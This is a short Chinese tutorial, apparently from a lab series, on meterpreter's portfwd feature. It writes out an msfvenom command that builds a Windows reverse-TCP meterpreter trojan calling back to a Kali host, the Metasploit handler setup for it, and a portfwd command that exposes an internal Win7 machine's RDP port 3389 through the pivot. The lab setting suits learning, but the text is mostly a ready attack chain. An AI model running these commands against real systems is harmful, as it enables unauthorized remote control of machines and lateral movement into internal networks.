portfwd 端口转发

前面我们已经学习了ssh端口转发、防火墙端口转发、rinetd端口转发、nc端口转发、socat端口转发、portmap端口转发，今天我们来学习portfwd端口转发，portfwd 是meterpreter 中的一个功能，那么本次实验就先来制造一个小马，然后基于meterpreter的portfwd，实现远程端口转发，访问跳板机kali的1111端口，就能访问内网win7的3389端口，这也叫3389端口反弹～

实验环境：

• macos：192.168.199.206
• kali：192.168.199.247
• win7：192.168.199.185

1、生成一个小马

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.199.247 -f exe > hack.exe

2、通过metasploit监听5555端口

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 5555

3、找个windows虚拟机，运行小马

exploit -j -z
sessions

4、进入sessions，然后使用portfwd进行端口转发

portfwd add -l 1111  -r 127.0.0.1 -p 3389

5、访问kali的1111端口，就是访问win7的3389端口

网络安全任重道远，洗洗睡吧～